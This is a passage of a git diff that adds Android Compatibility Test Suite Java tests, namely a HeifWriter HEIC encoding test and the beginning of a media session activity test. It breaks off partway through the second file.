+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_BITMAP;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_BUFFER;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_SURFACE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.ImageFormat;
+import android.graphics.Rect;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.opengl.GLES20;
+import android.os.Build;
+import android.os.Environment;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.media.cts.InputSurface;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.heifwriter.HeifWriter;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.RandomAccessFile;
+import java.util.Arrays;
+
+@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class HeifWriterTest extends AndroidTestCase {
+    private static final String TAG = HeifWriterTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+    private static final boolean DUMP_OUTPUT = false;
+    private static final boolean DUMP_YUV_INPUT = false;
+    private static final int GRID_WIDTH = 512;
+    private static final int GRID_HEIGHT = 512;
+    private static final boolean IS_BEFORE_R = ApiLevelUtil.isBefore(Build.VERSION_CODES.R);
+
+    private static byte[][] TEST_YUV_COLORS = {
+            {(byte) 255, (byte) 0, (byte) 0},
+            {(byte) 255, (byte) 0, (byte) 255},
+            {(byte) 255, (byte) 255, (byte) 255},
+            {(byte) 255, (byte) 255, (byte) 0},
+    };
+    private static Color COLOR_BLOCK =
+            Color.valueOf(1.0f, 1.0f, 1.0f);
+    private static Color[] COLOR_BARS = {
+            Color.valueOf(0.0f, 0.0f, 0.0f),
+            Color.valueOf(0.0f, 0.0f, 0.64f),
+            Color.valueOf(0.0f, 0.64f, 0.0f),
+            Color.valueOf(0.0f, 0.64f, 0.64f),
+            Color.valueOf(0.64f, 0.0f, 0.0f),
+            Color.valueOf(0.64f, 0.0f, 0.64f),
+            Color.valueOf(0.64f, 0.64f, 0.0f),
+    };
+    private static int BORDER_WIDTH = 16;
+
+    private static final String HEIFWRITER_INPUT = "heifwriter_input.heic";
+    private static final int[] IMAGE_RESOURCES = new int[] {
+            R.raw.heifwriter_input
+    };
+    private static final String[] IMAGE_FILENAMES = new String[] {
+            HEIFWRITER_INPUT
+    };
+    private static final String OUTPUT_FILENAME = "output.heic";
+
+    private InputSurface mInputEglSurface;
+    private Handler mHandler;
+    private int mInputIndex;
+
+    @Override
+    public void setUp() throws Exception {
+        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
+            String outputPath = new File(Environment.getExternalStorageDirectory(),
+                    IMAGE_FILENAMES[i]).getAbsolutePath();
+
+            InputStream inputStream = null;
+            FileOutputStream outputStream = null;
+            try {
+                inputStream = getContext().getResources().openRawResource(IMAGE_RESOURCES[i]);
+                outputStream = new FileOutputStream(outputPath);
+                copy(inputStream, outputStream);
+            } finally {
+                closeQuietly(inputStream);
+                closeQuietly(outputStream);
+            }
+        }
+
+        HandlerThread handlerThread = new HandlerThread(
+                "HeifEncoderThread", Process.THREAD_PRIORITY_FOREGROUND);
+        handlerThread.start();
+        mHandler = new Handler(handlerThread.getLooper());
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
+            String imageFilePath =
+                    new File(Environment.getExternalStorageDirectory(), IMAGE_FILENAMES[i])
+                            .getAbsolutePath();
+            File imageFile = new File(imageFilePath);
+            if (imageFile.exists()) {
+                imageFile.delete();
+            }
+        }
+    }
+
+    public void testInputBuffer_NoGrid_NoHandler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, false, false);
+        doTestForVariousNumberImages(builder);
+    }
+
+    public void testInputBuffer_Grid_NoHandler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, true, false);
+        doTestForVariousNumberImages(builder);
+    }
+
+    public void testInputBuffer_NoGrid_Handler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, false, true);
+        doTestForVariousNumberImages(builder);
+    }
+
+    public void testInputBuffer_Grid_Handler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, true, true);
+        doTestForVariousNumberImages(builder);
+    }
+
+    // TODO: b/186001256
+    @FlakyTest
+    public void testInputSurface_NoGrid_NoHandler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, false, false);
+        doTestForVariousNumberImages(builder);
+    }
+
+    @FlakyTest
+    public void testInputSurface_Grid_NoHandler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, true, false);
+        doTestForVariousNumberImages(builder);
+    }
+
+    @FlakyTest
+    public void testInputSurface_NoGrid_Handler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, false, true);
+        doTestForVariousNumberImages(builder);
+    }
+
+    @FlakyTest
+    public void testInputSurface_Grid_Handler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, true, true);
+        doTestForVariousNumberImages(builder);
+    }
+
+    public void testInputBitmap_NoGrid_NoHandler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, false, false);
+        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
+            String inputPath = new File(Environment.getExternalStorageDirectory(),
+                    IMAGE_FILENAMES[i]).getAbsolutePath();
+            doTestForVariousNumberImages(builder.setInputPath(inputPath));
+        }
+    }
+
+    public void testInputBitmap_Grid_NoHandler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, true, false);
+        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
+            String inputPath = new File(Environment.getExternalStorageDirectory(),
+                    IMAGE_FILENAMES[i]).getAbsolutePath();
+            doTestForVariousNumberImages(builder.setInputPath(inputPath));
+        }
+    }
+
+    public void testInputBitmap_NoGrid_Handler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, false, true);
+        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
+            String inputPath = new File(Environment.getExternalStorageDirectory(),
+                    IMAGE_FILENAMES[i]).getAbsolutePath();
+            doTestForVariousNumberImages(builder.setInputPath(inputPath));
+        }
+    }
+
+    public void testInputBitmap_Grid_Handler() throws Throwable {
+        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, true, true);
+        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
+            String inputPath = new File(Environment.getExternalStorageDirectory(),
+                    IMAGE_FILENAMES[i]).getAbsolutePath();
+            doTestForVariousNumberImages(builder.setInputPath(inputPath));
+        }
+    }
+
+    /**
+     * This test is to ensure that if the device advertises support for {@link
+     * MediaFormat#MIMETYPE_IMAGE_ANDROID_HEIC} (which encodes full-frame image
+     * with tiling), it must also support {@link MediaFormat#MIMETYPE_VIDEO_HEVC}
+     * at a specific tile size (512x512) with bitrate control mode {@link
+     * MediaCodecInfo.EncoderCapabilities#BITRATE_MODE_CQ}, so that a fallback
+     * could be implemented for image resolutions that's not supported by the
+     * {@link MediaFormat#MIMETYPE_IMAGE_ANDROID_HEIC} encoder.
+     */
+    @CddTest(requirement="5.1.4/C-1-1")
+    public void testHeicFallbackAvailable() throws Throwable {
+        if (!MediaUtils.hasEncoder(MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC)) {
+            MediaUtils.skipTest("HEIC full-frame image encoder is not supported on this device");
+            return;
+        }
+
+        final MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+
+        boolean fallbackFound = false;
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (!info.isEncoder() || !info.isHardwareAccelerated()) {
+                continue;
+            }
+            MediaCodecInfo.CodecCapabilities caps = null;
+            try {
+                caps = info.getCapabilitiesForType(MediaFormat.MIMETYPE_VIDEO_HEVC);
+            } catch (IllegalArgumentException e) { // mime is not supported
+                continue;
+            }
+            if (caps.getVideoCapabilities().isSizeSupported(GRID_WIDTH, GRID_HEIGHT) &&
+                    caps.getEncoderCapabilities().isBitrateModeSupported(
+                            MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CQ)) {
+                fallbackFound = true;
+                Log.d(TAG, "found fallback on " + info.getName());
+                // not breaking here so that we can log what's available by running this test
+            }
+        }
+        assertTrue("HEIC full-frame image encoder without HEVC fallback", fallbackFound);
+    }
+
+    private static boolean canEncodeHeic() {
+        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_VIDEO_HEVC)
+            || MediaUtils.hasEncoder(MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC);
+    }
+
+    private void doTestForVariousNumberImages(TestConfig.Builder builder) throws Exception {
+        if (!canEncodeHeic()) {
+            MediaUtils.skipTest("heic encoding is not supported on this device");
+            return;
+        }
+
+        builder.setNumImages(4);
+        doTest(builder.setRotation(270).build());
+        doTest(builder.setRotation(180).build());
+        doTest(builder.setRotation(90).build());
+        doTest(builder.setRotation(0).build());
+        doTest(builder.setNumImages(1).build());
+        doTest(builder.setNumImages(8).build());
+    }
+
+    private void closeQuietly(Closeable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    private int copy(InputStream in, OutputStream out) throws IOException {
+        int total = 0;
+        byte[] buffer = new byte[8192];
+        int c;
+        while ((c = in.read(buffer)) != -1) {
+            total += c;
+            out.write(buffer, 0, c);
+        }
+        return total;
+    }
+
+    private static class TestConfig {
+        final int mInputMode;
+        final boolean mUseGrid;
+        final boolean mUseHandler;
+        final int mMaxNumImages;
+        final int mActualNumImages;
+        final int mWidth;
+        final int mHeight;
+        final int mRotation;
+        final int mQuality;
+        final String mInputPath;
+        final String mOutputPath;
+        final Bitmap[] mBitmaps;
+
+        TestConfig(int inputMode, boolean useGrid, boolean useHandler,
+                   int maxNumImages, int actualNumImages, int width, int height,
+                   int rotation, int quality,
+                   String inputPath, String outputPath, Bitmap[] bitmaps) {
+            mInputMode = inputMode;
+            mUseGrid = useGrid;
+            mUseHandler = useHandler;
+            mMaxNumImages = maxNumImages;
+            mActualNumImages = actualNumImages;
+            mWidth = width;
+            mHeight = height;
+            mRotation = rotation;
+            mQuality = quality;
+            mInputPath = inputPath;
+            mOutputPath = outputPath;
+            mBitmaps = bitmaps;
+        }
+
+        static class Builder {
+            final int mInputMode;
+            final boolean mUseGrid;
+            final boolean mUseHandler;
+            int mMaxNumImages;
+            int mNumImages;
+            int mWidth;
+            int mHeight;
+            int mRotation;
+            final int mQuality;
+            String mInputPath;
+            final String mOutputPath;
+            Bitmap[] mBitmaps;
+            boolean mNumImagesSetExplicitly;
+
+
+            Builder(int inputMode, boolean useGrids, boolean useHandler) {
+                mInputMode = inputMode;
+                mUseGrid = useGrids;
+                mUseHandler = useHandler;
+                mMaxNumImages = mNumImages = 4;
+                mWidth = 1920;
+                mHeight = 1080;
+                mRotation = 0;
+                mQuality = 100;
+                // use memfd by default
+                if (DUMP_OUTPUT || IS_BEFORE_R) {
+                    mOutputPath = new File(Environment.getExternalStorageDirectory(),
+                            OUTPUT_FILENAME).getAbsolutePath();
+                } else {
+                    mOutputPath = null;
+                }
+            }
+
+            Builder setInputPath(String inputPath) {
+                mInputPath = (mInputMode == INPUT_MODE_BITMAP) ? inputPath : null;
+                return this;
+            }
+
+            Builder setNumImages(int numImages) {
+                mNumImagesSetExplicitly = true;
+                mNumImages = numImages;
+                return this;
+            }
+
+            Builder setRotation(int rotation) {
+                mRotation = rotation;
+                return this;
+            }
+
+            private void loadBitmapInputs() {
+                if (mInputMode != INPUT_MODE_BITMAP) {
+                    return;
+                }
+                MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+                retriever.setDataSource(mInputPath);
+                String hasImage = retriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
+                if (!"yes".equals(hasImage)) {
+                    throw new IllegalArgumentException("no bitmap found!");
+                }
+                mMaxNumImages = Math.min(mMaxNumImages, Integer.parseInt(retriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
+                if (!mNumImagesSetExplicitly) {
+                    mNumImages = mMaxNumImages;
+                }
+                mBitmaps = new Bitmap[mMaxNumImages];
+                for (int i = 0; i < mBitmaps.length; i++) {
+                    mBitmaps[i] = retriever.getImageAtIndex(i);
+                }
+                mWidth = mBitmaps[0].getWidth();
+                mHeight = mBitmaps[0].getHeight();
+                retriever.release();
+            }
+
+            private void cleanupStaleOutputs() {
+                if (mOutputPath != null) {
+                    File outputFile = new File(mOutputPath);
+                    if (outputFile.exists()) {
+                        outputFile.delete();
+                    }
+                }
+            }
+
+            TestConfig build() {
+                cleanupStaleOutputs();
+                loadBitmapInputs();
+
+                return new TestConfig(mInputMode, mUseGrid, mUseHandler, mMaxNumImages, mNumImages,
+                        mWidth, mHeight, mRotation, mQuality, mInputPath, mOutputPath, mBitmaps);
+            }
+        }
+
+        @Override
+        public String toString() {
+            return "TestConfig"
+                    + ": mInputMode " + mInputMode
+                    + ", mUseGrid " + mUseGrid
+                    + ", mUseHandler " + mUseHandler
+                    + ", mMaxNumImages " + mMaxNumImages
+                    + ", mNumImages " + mActualNumImages
+                    + ", mWidth " + mWidth
+                    + ", mHeight " + mHeight
+                    + ", mRotation " + mRotation
+                    + ", mQuality " + mQuality
+                    + ", mInputPath " + mInputPath
+                    + ", mOutputPath " + mOutputPath;
+        }
+    }
+
+    private void doTest(final TestConfig config) throws Exception {
+        final int width = config.mWidth;
+        final int height = config.mHeight;
+        final int actualNumImages = config.mActualNumImages;
+
+        mInputIndex = 0;
+        HeifWriter heifWriter = null;
+        FileInputStream inputYuvStream = null;
+        FileOutputStream outputYuvStream = null;
+        FileDescriptor outputFd = null;
+        RandomAccessFile outputFile = null;
+        try {
+            if (DEBUG) Log.d(TAG, "started: " + config);
+            if (config.mOutputPath != null) {
+                outputFile = new RandomAccessFile(config.mOutputPath, "rws");
+                outputFile.setLength(0);
+                outputFd = outputFile.getFD();
+            } else {
+                outputFd = Os.memfd_create("temp", OsConstants.MFD_CLOEXEC);
+            }
+
+            heifWriter = new HeifWriter.Builder(
+                    outputFd, width, height, config.mInputMode)
+                    .setRotation(config.mRotation)
+                    .setGridEnabled(config.mUseGrid)
+                    .setMaxImages(config.mMaxNumImages)
+                    .setQuality(config.mQuality)
+                    .setPrimaryIndex(config.mMaxNumImages - 1)
+                    .setHandler(config.mUseHandler ? mHandler : null)
+                    .build();
+
+            if (config.mInputMode == INPUT_MODE_SURFACE) {
+                mInputEglSurface = new InputSurface(heifWriter.getInputSurface());
+            }
+
+            heifWriter.start();
+
+            if (config.mInputMode == INPUT_MODE_BUFFER) {
+                byte[] data = new byte[width * height * 3 / 2];
+
+                if (config.mInputPath != null) {
+                    inputYuvStream = new FileInputStream(config.mInputPath);
+                }
+
+                if (DUMP_YUV_INPUT) {
+                    File outputYuvFile = new File("/sdcard/input.yuv");
+                    outputYuvFile.createNewFile();
+                    outputYuvStream = new FileOutputStream(outputYuvFile);
+                }
+
+                for (int i = 0; i < actualNumImages; i++) {
+                    if (DEBUG) Log.d(TAG, "fillYuvBuffer: " + i);
+                    fillYuvBuffer(i, data, width, height, inputYuvStream);
+                    if (DUMP_YUV_INPUT) {
+                        Log.d(TAG, "@@@ dumping input YUV");
+                        outputYuvStream.write(data);
+                    }
+                    heifWriter.addYuvBuffer(ImageFormat.YUV_420_888, data);
+                }
+            } else if (config.mInputMode == INPUT_MODE_SURFACE) {
+                // The input surface is a surface texture using single buffer mode, draws will be
+                // blocked until onFrameAvailable is done with the buffer, which is dependent on
+                // how fast MediaCodec processes them, which is further dependent on how fast the
+                // MediaCodec callbacks are handled. We can't put draws on the same looper that
+                // handles MediaCodec callback, it will cause deadlock.
+                for (int i = 0; i < actualNumImages; i++) {
+                    if (DEBUG) Log.d(TAG, "drawFrame: " + i);
+                    drawFrame(width, height);
+                }
+                heifWriter.setInputEndOfStreamTimestamp(
+                        1000 * computePresentationTime(actualNumImages - 1));
+            } else if (config.mInputMode == INPUT_MODE_BITMAP) {
+                Bitmap[] bitmaps = config.mBitmaps;
+                for (int i = 0; i < Math.min(bitmaps.length, actualNumImages); i++) {
+                    if (DEBUG) Log.d(TAG, "addBitmap: " + i);
+                    heifWriter.addBitmap(bitmaps[i]);
+                    bitmaps[i].recycle();
+                }
+            }
+
+            heifWriter.stop(5000);
+            // The test sets the primary index to the last image.
+            // However, if we're testing early abort, the last image will not be
+            // present and the muxer is supposed to set it to 0 by default.
+            int expectedPrimary = config.mMaxNumImages - 1;
+            int expectedImageCount = config.mMaxNumImages;
+            if (actualNumImages < config.mMaxNumImages) {
+                expectedPrimary = 0;
+                expectedImageCount = actualNumImages;
+            }
+            verifyResult(outputFd, width, height, config.mRotation,
+                    expectedImageCount, expectedPrimary, config.mUseGrid,
+                    config.mInputMode == INPUT_MODE_SURFACE);
+            if (DEBUG) Log.d(TAG, "finished: PASS");
+        } finally {
+            try {
+                if (outputYuvStream != null) {
+                    outputYuvStream.close();
+                }
+                if (inputYuvStream != null) {
+                    inputYuvStream.close();
+                }
+                if (outputFile != null) {
+                    outputFile.close();
+                }
+                if (outputFd != null) {
+                    Os.close(outputFd);
+                }
+            } catch (IOException|ErrnoException e) {}
+
+            if (heifWriter != null) {
+                heifWriter.close();
+                heifWriter = null;
+            }
+            if (mInputEglSurface != null) {
+                // This also releases the surface from encoder.
+                mInputEglSurface.release();
+                mInputEglSurface = null;
+            }
+        }
+    }
+
+    private long computePresentationTime(int frameIndex) {
+        return 132 + (long)frameIndex * 1000000;
+    }
+
+    private void fillYuvBuffer(int frameIndex, @NonNull byte[] data, int width, int height,
+                               @Nullable FileInputStream inputStream) throws IOException {
+        if (inputStream != null) {
+            inputStream.read(data);
+        } else {
+            byte[] color = TEST_YUV_COLORS[frameIndex % TEST_YUV_COLORS.length];
+            int sizeY = width * height;
+            Arrays.fill(data, 0, sizeY, color[0]);
+            Arrays.fill(data, sizeY, sizeY * 5 / 4, color[1]);
+            Arrays.fill(data, sizeY * 5 / 4, sizeY * 3 / 2, color[2]);
+        }
+    }
+
+    private void drawFrame(int width, int height) {
+        mInputEglSurface.makeCurrent();
+        generateSurfaceFrame(mInputIndex, width, height);
+        mInputEglSurface.setPresentationTime(1000 * computePresentationTime(mInputIndex));
+        mInputEglSurface.swapBuffers();
+        mInputIndex++;
+    }
+
+    private static Rect getColorBarRect(int index, int width, int height) {
+        int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
+        return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
+                BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
+    }
+
+    private static Rect getColorBlockRect(int index, int width, int height) {
+        int blockCenterX = (width / 5) * (index % 4 + 1);
+        return new Rect(blockCenterX - width / 10, height / 6,
+                        blockCenterX + width / 10, height / 3);
+    }
+
+    private void generateSurfaceFrame(int frameIndex, int width, int height) {
+        GLES20.glViewport(0, 0, width, height);
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(1.0f, 0.0f, 0.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+
+        for (int i = 0; i < COLOR_BARS.length; i++) {
+            Rect r = getColorBarRect(i, width, height);
+
+            GLES20.glScissor(r.left, r.top, r.width(), r.height());
+            final Color color = COLOR_BARS[i];
+            GLES20.glClearColor(color.red(), color.green(), color.blue(), 1.0f);
+            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        }
+
+        Rect r = getColorBlockRect(frameIndex, width, height);
+        GLES20.glScissor(r.left, r.top, r.width(), r.height());
+        GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        r.inset(BORDER_WIDTH, BORDER_WIDTH);
+        GLES20.glScissor(r.left, r.top, r.width(), r.height());
+        GLES20.glClearColor(COLOR_BLOCK.red(), COLOR_BLOCK.green(), COLOR_BLOCK.blue(), 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    /**
+     * Determines if two color values are approximately equal.
+     */
+    private static boolean approxEquals(Color expected, Color actual) {
+        final float MAX_DELTA = 0.025f;
+        return (Math.abs(expected.red() - actual.red()) <= MAX_DELTA)
+            && (Math.abs(expected.green() - actual.green()) <= MAX_DELTA)
+            && (Math.abs(expected.blue() - actual.blue()) <= MAX_DELTA);
+    }
+
+    private void verifyResult(
+            FileDescriptor fd, int width, int height, int rotation,
+            int imageCount, int primary, boolean useGrid, boolean checkColor)
+            throws Exception {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(fd);
+        String hasImage = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
+        if (!"yes".equals(hasImage)) {
+            throw new Exception("No images found in file descriptor");
+        }
+        assertEquals("Wrong width", width,
+                Integer.parseInt(retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
+        assertEquals("Wrong height", height,
+                Integer.parseInt(retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
+        assertEquals("Wrong rotation", rotation,
+                Integer.parseInt(retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
+        assertEquals("Wrong image count", imageCount,
+                Integer.parseInt(retriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
+        assertEquals("Wrong primary index", primary,
+                Integer.parseInt(retriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
+        retriever.release();
+
+        if (useGrid) {
+            MediaExtractor extractor = new MediaExtractor();
+            extractor.setDataSource(fd);
+            MediaFormat format = extractor.getTrackFormat(0);
+            int tileWidth = format.getInteger(MediaFormat.KEY_TILE_WIDTH);
+            int tileHeight = format.getInteger(MediaFormat.KEY_TILE_HEIGHT);
+            int gridRows = format.getInteger(MediaFormat.KEY_GRID_ROWS);
+            int gridCols = format.getInteger(MediaFormat.KEY_GRID_COLUMNS);
+            assertTrue("Wrong tile width or grid cols",
+                    ((width + tileWidth - 1) / tileWidth) == gridCols);
+            assertTrue("Wrong tile height or grid rows",
+                    ((height + tileHeight - 1) / tileHeight) == gridRows);
+            extractor.release();
+        }
+
+        if (checkColor) {
+            Os.lseek(fd, 0, OsConstants.SEEK_SET);
+            Bitmap bitmap = BitmapFactory.decodeFileDescriptor(fd);
+
+            for (int i = 0; i < COLOR_BARS.length; i++) {
+                Rect r = getColorBarRect(i, width, height);
+                assertTrue("Color bar " + i + " doesn't match", approxEquals(COLOR_BARS[i],
+                        Color.valueOf(bitmap.getPixel(r.centerX(), r.centerY()))));
+            }
+
+            Rect r = getColorBlockRect(primary, width, height);
+            assertTrue("Color block doesn't match", approxEquals(COLOR_BLOCK,
+                    Color.valueOf(bitmap.getPixel(r.centerX(), height - r.centerY()))));
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaActivityTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaActivityTest.java
new file mode 100644
index 0000000..50365dd
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaActivityTest.java
@@ -0,0 +1,307 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.media.misc.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.hardware.hdmi.HdmiControlManager;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.session.MediaSession;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.KeyEvent;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link MediaSessionTestActivity} which has called {@link Activity#setMediaController}.
+ */
+@NonMediaMainlineTest
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class MediaActivityTest {
+    private static final String TAG = "MediaActivityTest";
+    private static final int WAIT_TIME_MS = 5000;
+    private static final int TIME_SLICE = 50;
+    private static final List<Integer> ALL_VOLUME_STREAMS = new ArrayList();
+    static {
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_ACCESSIBILITY);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_ALARM);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_DTMF);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_MUSIC);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_NOTIFICATION);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_RING);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_SYSTEM);
+        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_VOICE_CALL);
+    }
+
+    private Instrumentation mInstrumentation;
+    private Context mContext;
+    private boolean mUseFixedVolume;
+    private AudioManager mAudioManager;
+    private Map<Integer, Integer> mStreamVolumeMap = new HashMap<>();
+    private MediaSession mSession;
+
+    private HdmiControlManager mHdmiControlManager;
+    private int mHdmiEnableStatus;
+
+    @Rule
+    public ActivityTestRule<MediaSessionTestActivity> mActivityRule =
+            new ActivityTestRule<>(MediaSessionTestActivity.class, false, false);
+
+    @Before
+    public void setUp() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+            Manifest.permission.HDMI_CEC);
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getContext();
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        mUseFixedVolume = mAudioManager.isVolumeFixed();
+        mHdmiControlManager = mContext.getSystemService(HdmiControlManager.class);
+        if (mHdmiControlManager != null) {
+            mHdmiEnableStatus = mHdmiControlManager.getHdmiCecEnabled();
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+        }
+
+        mStreamVolumeMap.clear();
+        for (Integer stream : ALL_VOLUME_STREAMS) {
+            mStreamVolumeMap.put(stream, mAudioManager.getStreamVolume(stream));
+        }
+
+        mSession = new MediaSession(mContext, TAG);
+
+        // Set volume stream other than STREAM_MUSIC.
+        // STREAM_MUSIC is the new default stream for changing volume, so it doesn't precisely test
+        // whether the session is prioritized for volume control or not.
+        mSession.setPlaybackToLocal(new AudioAttributes.Builder()
+                .setLegacyStreamType(AudioManager.STREAM_RING).build());
+
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(MediaSessionTestActivity.KEY_SESSION_TOKEN, mSession.getSessionToken());
+
+        mActivityRule.launchActivity(intent);
+
+        assertTrue(
+            "Failed to bring MediaSessionTestActivity due to the screen lock setting."
+                    + " Ensure screen lock isn't set before running CTS test.",
+            pollingCheck(() -> {
+                Activity activity = mActivityRule.getActivity();
+                if (activity == null) {
+                    return false;
+                }
+                return activity.getMediaController() != null;
+            }));
+    }
+
+    @After
+    public void cleanUp() {
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
